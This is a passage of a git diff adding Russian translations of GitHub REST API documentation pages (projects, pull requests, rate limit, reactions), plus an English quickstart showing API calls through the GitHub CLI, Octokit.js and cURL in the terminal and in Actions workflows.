manage this `package_type`. `container` packages offer granular permissions separate from a repository. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)." + +If you want to use the {% data variables.product.prodname_registry %} API to access resources in an organization with SSO enabled, then you must enable SSO for your {% data variables.product.pat_v1 %}. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} diff --git a/translations/ru-RU/content/rest/pages.md b/translations/ru-RU/content/rest/pages.md new file mode 100644 index 000000000000..463c7aca5153 --- /dev/null +++ b/translations/ru-RU/content/rest/pages.md @@ -0,0 +1,21 @@ +--- +title: Страницы +intro: API страниц GitHub позволяет взаимодействовать с сайтами страниц GitHub Pages и сведениями о сборке. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/pages +ms.openlocfilehash: 6a4902cb0b0a5fd8bfa319cb0385df1d2de64346 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064213' +--- + diff --git a/translations/ru-RU/content/rest/projects/cards.md b/translations/ru-RU/content/rest/projects/cards.md new file mode 100644 index 000000000000..6382b952c921 --- /dev/null +++ b/translations/ru-RU/content/rest/projects/cards.md @@ -0,0 +1,21 @@ +--- +title: 'Карточки компонента "{% data variables.product.prodname_project_v1_caps %}"' +shortTitle: Cards +allowTitleToDifferFromFilename: true +intro: 'API-интерфейс карточек "{% data variables.product.prodname_project_v1 %}" позволяет вам создавать и контролировать карточки компонента "{% data variables.projects.projects_v1_board %}" в репозитории.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 5e923c48ae6b5026ad5eaf518320e33f477e1926 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881871' +--- +{% data reusables.projects.projects-api %} diff --git a/translations/ru-RU/content/rest/projects/collaborators.md b/translations/ru-RU/content/rest/projects/collaborators.md new file mode 100644 index 000000000000..9d84aa56e372 --- /dev/null +++ b/translations/ru-RU/content/rest/projects/collaborators.md @@ -0,0 +1,21 @@ +--- +title: 'Участники компонента "{% data variables.product.prodname_project_v1_caps %}"' +shortTitle: Collaborators +allowTitleToDifferFromFilename: true +intro: 'API-интерфейс участников "{% data variables.product.prodname_project_v1 %}" позволяет вам контролировать участников для компонента "{% data variables.projects.projects_v1_board %}".' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 72473eabf86bc1eab841b86a85acfdf9ffe6bb01 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147423063' +--- +{% data reusables.projects.projects-api %} diff --git a/translations/ru-RU/content/rest/projects/columns.md b/translations/ru-RU/content/rest/projects/columns.md new file mode 100644 index 000000000000..ca864ab48585 --- /dev/null +++ b/translations/ru-RU/content/rest/projects/columns.md @@ -0,0 +1,21 @@ +--- +title: 'Столбцы компонента "{% data variables.product.prodname_project_v1_caps %}"' +shortTitle: Columns +allowTitleToDifferFromFilename: true +intro: 'API-интерфейс столбцов "{% data variables.product.prodname_project_v1 %}" позволяет вам создавать и контролировать столбцы компонента "{% data variables.projects.projects_v1_board %}" в репозитории.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 8804dd9fafb1dd8142c50e30db36cc5daf7c04df +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147423071' +--- +{% data reusables.projects.projects-api %} diff --git a/translations/ru-RU/content/rest/projects/index.md b/translations/ru-RU/content/rest/projects/index.md new file mode 100644 index 000000000000..1937a1c7ef85 --- /dev/null +++ b/translations/ru-RU/content/rest/projects/index.md @@ -0,0 +1,28 @@ +--- +title: '{% data variables.product.prodname_projects_v1_caps %}' +intro: 'API-интерфейс "{% data variables.product.prodname_projects_v1 %}" позволяет вам создавать, перечислять, обновлять, удалять и настраивать {% data variables.projects.projects_v1_boards %} в репозитории.' +redirect_from: + - /v3/projects + - /rest/reference/projects +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +children: + - /projects + - /cards + - /collaborators + - /columns +ms.openlocfilehash: 815c82656605773c4bda0750f331f819ca39551e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147423046' +--- + diff --git a/translations/ru-RU/content/rest/projects/projects.md b/translations/ru-RU/content/rest/projects/projects.md new file mode 100644 index 000000000000..1a6b0a537f81 --- /dev/null +++ b/translations/ru-RU/content/rest/projects/projects.md @@ -0,0 +1,18 @@ +--- +title: '{% data variables.product.prodname_projects_v1_caps %}' +shortTitle: Boards +allowTitleToDifferFromFilename: true +intro: 'The {% data variables.product.prodname_projects_v1 %} API lets you create and manage {% data variables.projects.projects_v1_boards %} in a repository.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.projects.projects-api %} + +{% data reusables.user-settings.classic-projects-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/pulls/comments.md b/translations/ru-RU/content/rest/pulls/comments.md new file mode 100644 index 000000000000..e10fa08390b7 --- /dev/null +++ b/translations/ru-RU/content/rest/pulls/comments.md @@ -0,0 +1,34 @@ +--- +title: Комментарии к проверке запроса на вытягивание +shortTitle: Review comments +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 6d49aa3d5bca7f74a21c1cce32cecd38abe9366d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067733' +--- +## Сведения об API комментариев к проверке запросов на вытягивание + +Комментарии к проверке запросов на вытягивание — это комментарии к части расхождений, оставленные при проверке запроса на вытягивание. Комментарии к фиксациям и проблемам отличаются от комментариев к проверке запросов на вытягивание. Комментарии к фиксациям применяются непосредственно к фиксации, а комментарии к проблемам не включают ссылку на соответствующую часть расхождений. Дополнительные сведения см. в разделах [Создание комментария к фиксации](/rest/reference/commits#create-a-commit-comment) и [Создание комментария к проблеме](/rest/reference/issues#create-an-issue-comment). + +### Пользовательские типы носителей для комментариев к проверке запросов на вытягивание + +Это поддерживаемые типы носителей для комментариев к проверке запросов на вытягивание. + + application/vnd.github.VERSION.raw+json + application/vnd.github.VERSION.text+json + application/vnd.github.VERSION.html+json + application/vnd.github.VERSION.full+json + +Дополнительные сведения см. в статье [Пользовательские типы фиксации](/rest/overview/media-types). diff --git a/translations/ru-RU/content/rest/pulls/index.md b/translations/ru-RU/content/rest/pulls/index.md new file mode 100644 index 000000000000..5bda916e9c1e --- /dev/null +++ b/translations/ru-RU/content/rest/pulls/index.md @@ -0,0 +1,27 @@ +--- +title: Запросы данных +intro: 'API вытягивания позволяет перечислять запросы на вытягивание, а также просматривать, изменять, создавать и даже объединять их.' +redirect_from: + - /v3/pulls + - /rest/reference/pulls +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /pulls + - /comments + - /review-requests + - /reviews +ms.openlocfilehash: bf45bc68828c7c2723877f5568f75de3ed0b9a92 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065277' +--- + diff --git a/translations/ru-RU/content/rest/pulls/pulls.md b/translations/ru-RU/content/rest/pulls/pulls.md new file mode 100644 index 000000000000..382f926b0ee6 --- /dev/null +++ b/translations/ru-RU/content/rest/pulls/pulls.md @@ -0,0 +1,53 @@ +--- +title: Запросы данных +intro: 'API вытягивания позволяет перечислять запросы на вытягивание, а также просматривать, изменять, создавать и даже объединять их.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 80e4a5a5257a8f2615b402567f91daa9e68a0077 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145124965' +--- +## Сведения об API вытягивания + +API запросов на вытягивание позволяет перечислять запросы на вытягивание, а также просматривать, изменять, создавать и даже объединять их. Для управления комментариями к запросам на вытягивание используется [API комментариев к проблемам](/rest/reference/issues#comments). + +Каждый запрос на вытягивание является проблемой, но не каждая проблема является запросом на вытягивание. По этой причине "общие" для них действия, такие как управление уполномоченными, метками и вехами, предоставляются в [API проблем](/rest/reference/issues). + +### Пользовательские типы мультимедиа для запросов на вытягивание + +Это поддерживаемые типы мультимедиа для запросов на вытягивание. + + application/vnd.github.VERSION.raw+json + application/vnd.github.VERSION.text+json + application/vnd.github.VERSION.html+json + application/vnd.github.VERSION.full+json + application/vnd.github.VERSION.diff + application/vnd.github.VERSION.patch + +Дополнительные сведения см. в статье [Пользовательские типы фиксации](/rest/overview/media-types). + +Если различие повреждено, обратитесь в {% data variables.contact.contact_support %}. В сообщении укажите имя репозитория и идентификатор запроса на вытягивание. + +### Ссылочные связи + +Запросы на вытягивание имеют следующие ссылочные связи: + +Имя | Описание +-----|-----------| +`self`| Расположение API этого запроса на вытягивание. +`html`| Расположение HTML этого запроса на вытягивание. +`issue`| Расположение API [проблемы](/rest/reference/issues) этого запроса на вытягивание. +`comments`| Расположение API [комментариев к проблеме](/rest/reference/issues#comments) этого запроса на вытягивание. +`review_comments`| Расположение API [комментариев к проверке](/rest/reference/pulls#comments) этого запроса на вытягивание. +`review_comment`| [Шаблон URL-адреса](/rest#hypermedia) для создания расположения API для [комментария к проверке](/rest/reference/pulls#comments) в репозитории этого запроса на вытягивание. +`commits`|Расположение API [фиксаций](#list-commits-on-a-pull-request) этого запроса на вытягивание. +`statuses`| Расположение API [состояний фиксации](/rest/reference/commits#commit-statuses) этого запроса на вытягивание, то есть состояний его ветви `head`. diff --git a/translations/ru-RU/content/rest/pulls/review-requests.md b/translations/ru-RU/content/rest/pulls/review-requests.md new file mode 100644 index 000000000000..cf04b0372b02 --- /dev/null +++ b/translations/ru-RU/content/rest/pulls/review-requests.md @@ -0,0 +1,21 @@ +--- +title: Запросы на проверку +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: a36ef6608626ac9f5b1a72774e61472b16d479ba +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060613' +--- +## Сведения об API запросов на проверку + +Авторы запросов на вытягивание, владельцы репозиториев и участники совместной работы могут запрашивать проверку запросов на вытягивание у любого пользователя с доступом на запись в репозиторий. Каждый запрошенный рецензент получит уведомление с просьбой проверить запрос на вытягивание. diff --git a/translations/ru-RU/content/rest/pulls/reviews.md b/translations/ru-RU/content/rest/pulls/reviews.md new file mode 100644 index 000000000000..4c5eab82d291 --- /dev/null +++ b/translations/ru-RU/content/rest/pulls/reviews.md @@ -0,0 +1,23 @@ +--- +title: Проверки запросов на включение изменений +shortTitle: Reviews +allowTitleToDifferFromFilename: true +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: ee55b646dd58b4f91227c6d629c2e07d834b6dfd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145124959' +--- +## Сведения об API проверки запросов на вытягивание + +Проверки запроса на вытягивание — это группы комментариев по проверке запроса на вытягивание, сгруппированные вместе с состоянием и необязательным комментарием к тексту. diff --git a/translations/ru-RU/content/rest/quickstart.md b/translations/ru-RU/content/rest/quickstart.md new file mode 100644 index 000000000000..8ec1d59ec58f --- /dev/null +++ b/translations/ru-RU/content/rest/quickstart.md @@ -0,0 +1,351 @@ +--- +title: Quickstart for GitHub REST API +intro: 'Learn how to get started with the {% data variables.product.prodname_dotcom %} REST API.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Quickstart +topics: + - API +redirect_from: + - /guides/getting-started + - /v3/guides/getting-started +miniTocMaxHeadingLevel: 3 +--- + +This article describes how to quickly get started with the {% data variables.product.prodname_dotcom %} REST API using {% data variables.product.prodname_cli %}, JavaScript, or cURL. For a more detailed guide, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api)." + +{% cli %} + +## Getting started using {% data variables.product.prodname_cli %} + +### Using {% data variables.product.prodname_cli %} in the command line + +{% data variables.product.prodname_cli %} is the easiest way to use the {% data variables.product.prodname_dotcom %} REST API from the command line. + +1. Install {% data variables.product.prodname_cli %} if you haven't installed it yet. For installation instructions, see the [{% data variables.product.prodname_cli %} repository](https://github.com/cli/cli#installation). +1. Use the `auth login` subcommand to authenticate to {% data variables.product.prodname_cli %}. For more information, see the [{% data variables.product.prodname_cli %} `auth login` documentation](https://cli.github.com/manual/gh_auth_login). + + ```shell + gh auth login + ``` + +1. Use the `api` subcommand to make your API request. For more information, see the [{% data variables.product.prodname_cli %} `api` documentation](https://cli.github.com/manual/gh_api). + + ```shell + gh api repos/octocat/Spoon-Knife/issues + ``` + +### Using {% data variables.product.prodname_cli %} in {% data variables.product.prodname_actions %} + +You can also use {% data variables.product.prodname_cli %} in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Using GitHub CLI in workflows](/actions/using-workflows/using-github-cli-in-workflows)." + +Instead of using the `gh auth login` command, pass an access token as an environment variable called `GH_TOKEN`. {% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +```yaml +on: + workflow_dispatch: +jobs: + use_api: + runs-on: ubuntu-latest + permissions: + issues: read + steps: + - env: + GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + run: | + gh api repos/octocat/Spoon-Knife/issues +``` + +If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow: + +1. Store your {% data variables.product.prodname_github_app %}'s ID as a secret. In the following example, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/apps/apps#get-an-app)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." +1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)." +1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. For example: + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +on: + workflow_dispatch: +jobs: + track_pr: + runs-on: ubuntu-latest + steps: + - name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} + + - name: Use API + env: + GH_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + run: | + gh api repos/octocat/Spoon-Knife/issues +``` + +{% endcli %} + +{% javascript %} + +## Getting started using JavaScript + +You can use Octokit.js to interact with the {% data variables.product.prodname_dotcom %} REST API in your JavaScript scripts. For more information, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). + +### Using Octokit.js + +1. Create an access token. For example, create a {% data variables.product.pat_generic %} or a {% data variables.product.prodname_github_app %} user-to-server access token. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)" or "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)." + + {% warning %} + + **Warning**: Treat your access token like a password. + + To keep your token secure, you can store your token as a secret and run your script through {% data variables.product.prodname_actions %}. For more information, see the "[Using Octokit.js in {% data variables.product.prodname_actions %}](#using-octokitjs-in-github-actions)" section. + + {%- ifversion fpt or ghec %} + + You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %} + + If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely. + + {% endwarning %} + +1. Install `octokit`. For example, `npm install octokit`. For other ways to install or load `octokit`, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). +1. Import `octokit` in your script. For example, `import { Octokit } from "octokit";`. For other ways to import `octokit`, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). +1. Create an instance of `Octokit` with your token. Replace `YOUR-TOKEN` with your token. + + ```javascript + const octokit = new Octokit({ + auth: 'YOUR-TOKEN' + }); + ``` + +1. Use `octokit.request` to execute your request. Send the HTTP method and path as the first argument. Specify any path, query, and body parameters in an object as the second argument. For example, in the following request the HTTP method is `GET`, the path is `/repos/{owner}/{repo}/issues`, and the parameters are `owner: "octocat"` and `repo: "Spoon-Knife"`. + + ```javascript + await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + }); + ``` + +### Using Octokit.js in {% data variables.product.prodname_actions %} + +You can also execute your JavaScript scripts in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)." + +{% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +The following example workflow: + +1. Checks out the repository content +1. Sets up Node.js +1. Installs `octokit` +1. Stores the value of `GITHUB_TOKEN` as an environment variable called `TOKEN` and runs `.github/actions-scripts/use-the-api.mjs`, which can access that environment variable as `process.env.TOKEN` + +Example workflow: + +```yaml +on: + workflow_dispatch: +jobs: + use_api_via_script: + runs-on: ubuntu-latest + permissions: + issues: read + steps: + - name: Check out repo content + uses: {% data reusables.actions.action-checkout %} + + - name: Setup Node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '16.17.0' + cache: npm + + - name: Install dependencies + run: npm install octokit + + - name: Run script + run: | + node .github/actions-scripts/use-the-api.mjs + env: + TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` + +Example JavaScript script, with the file path `.github/actions-scripts/use-the-api.mjs`: + +```javascript +import { Octokit } from "octokit" + +const octokit = new Octokit({ + auth: process.env.TOKEN +}); + +try { + const result = await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + }); + + const titleAndAuthor = result.data.map(issue => {title: issue.title, authorID: issue.user.id}) + + console.log(titleAndAuthor) + +} catch (error) { + console.log(`Error! Status: ${error.status}. Message: ${error.response.data.message}`) +} +``` + +If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow: + +1. Store your {% data variables.product.prodname_github_app %}'s ID as a secret. In the following example, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/apps/apps#get-an-app)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." +1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)." +1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. For example: + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +on: + workflow_dispatch: +jobs: + use_api_via_script: + runs-on: ubuntu-latest + steps: + - name: Check out repo content + uses: {% data reusables.actions.action-checkout %} + + - name: Setup Node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '16.17.0' + cache: npm + + - name: Install dependencies + run: npm install octokit + + - name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} + + - name: Run script + run: | + node .github/actions-scripts/use-the-api.mjs + env: + TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} +``` + +{% endjavascript %} + +{% curl %} + +## Getting started using cURL + +### Using cURL in the command line + +{% note %} + +**Note:** If you want to make API requests from the command line, {% data variables.product.prodname_dotcom %} recommends that you use {% data variables.product.prodname_cli %}, which simplifies authentication and requests. For more information about getting started with the REST API using {% data variables.product.prodname_cli %}, see the {% data variables.product.prodname_cli %} version of this article. + +{% endnote %} + +1. Install cURL if cURL isn't already installed on your machine. To check if cURL is installed, execute `curl --version` in the command line. If the output is information about the cURL version, cURL is installed. If you get a message similar to `command not found: curl`, you need to download and install cURL. For more information, see [the cURL project download page](https://curl.se/download.html). +1. Create an access token. For example, create a {% data variables.product.pat_generic %} or a {% data variables.product.prodname_github_app %} user-to-server access token. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)" or "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)." + + {% warning %} + + **Warning**: Treat your access token like a password. + + {%- ifversion fpt or ghec %} + + To keep your token secure, you can store your token as a {% data variables.product.prodname_codespaces %} secret and use the command line through {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %} + + You can also use {% data variables.product.prodname_cli %} instead of cURL. {% data variables.product.prodname_cli %} will take care of authentication for you. For more information, see the {% data variables.product.prodname_cli %} version of this page. + + If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely. + + {% endwarning %} + +1. Use the `cURL` command to make your request. Pass your token in an `Authorization` header. Replace `YOUR-TOKEN` with your token. + + ```shell + curl --request GET \ + --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ + --header "Accept: application/vnd.github+json" \ + --header "Authorization: Bearer YOUR-TOKEN" + ``` + + {% note %} + + **Note:** {% data reusables.getting-started.bearer-vs-token %} + + {% endnote %} + +### Using cURL in {% data variables.product.prodname_actions %} + +You can also use cURL in your {% data variables.product.prodname_actions %} workflows. + +{% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +```yaml +on: + workflow_dispatch: +jobs: + use_api: + runs-on: ubuntu-latest + permissions: + issues: read + steps: + - env: + GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + run: | + curl --request GET \ + --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ + --header "Accept: application/vnd.github+json" \ + --header "Authorization: Bearer $GH_TOKEN" +``` + +If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow: + +1. Store your {% data variables.product.prodname_github_app %}'s ID as a secret. In the following example, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/apps/apps#get-an-app)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." +1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)." +1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. For example: + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +on: + workflow_dispatch: +jobs: + use_api: + runs-on: ubuntu-latest + steps: + - name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} + + - name: Use API + env: + GH_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + run: | + curl --request GET \ + --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ + --header "Accept: application/vnd.github+json" \ + --header "Authorization: Bearer $GH_TOKEN" +``` + +{% endcurl %} + +## Next steps + +For a more detailed guide, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api)." diff --git a/translations/ru-RU/content/rest/rate-limit.md b/translations/ru-RU/content/rest/rate-limit.md new file mode 100644 index 000000000000..3da1e809c6a6 --- /dev/null +++ b/translations/ru-RU/content/rest/rate-limit.md @@ -0,0 +1,39 @@ +--- +title: Ограничение скорости +intro: API ограничения скорости позволяет проверить текущее состояние ограничения скорости для разных REST API. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/rate-limit +ms.openlocfilehash: 282b7e7bbb947256ccad4950b6a17d8874044d8f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147081051' +--- +## Сведения об API ограничения скорости + +В обзорной документации по REST API описываются [правила ограничения скорости](/rest/overview/resources-in-the-rest-api#rate-limiting). Вы можете в любой момент проверить текущее состояние ограничения скорости с помощью описываемого ниже API ограничения скорости. + +### Общие сведения о состоянии ограничения скорости + +Для API поиска [ограничение скорости настраивается](/rest/reference/search#rate-limit) отдельно от ограничения скорости, применяемого к остальной части REST API. Для API GraphQL также действует [настраиваемое ограничение скорости](/graphql/overview/resource-limitations#rate-limit), которое рассчитывается отдельно от ограничения скорости для REST API. + +По этим причинам ограничение скорости классифицируется ответом API ограничения скорости. В разделе `resources` представлены четыре объекта: + +* Объект `core` предоставляет состояние ограничения скорости для всех ресурсов в REST API, не связанных с поиском. + +* Объект `search` предоставляет состояние ограничения скорости для [API поиска](/rest/reference/search). + +* Объект `graphql` предоставляет состояние ограничения скорости для [API GraphQL](/graphql). + +* Объект `integration_manifest` предоставляет состояние ограничения скорости для конечной точки [преобразования кода манифеста приложения GitHub](/apps/building-github-apps/creating-github-apps-from-a-manifest/#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration). + +Дополнительные сведения о заголовках и значениях в ответе ограничения скорости см. в разделе [Ресурсы в REST API](/rest/overview/resources-in-the-rest-api#rate-limit-http-headers). diff --git a/translations/ru-RU/content/rest/reactions.md b/translations/ru-RU/content/rest/reactions.md new file mode 100644 index 000000000000..774149aa5b19 --- /dev/null +++ b/translations/ru-RU/content/rest/reactions.md @@ -0,0 +1,25 @@ +--- +title: Реакции +intro: 'API реакций позволяет создавать, записывать и удалять реакции на комментарии.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/reactions +ms.openlocfilehash: 6598b1f9a42c2520b3e48062ae730c3873d5e657 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU 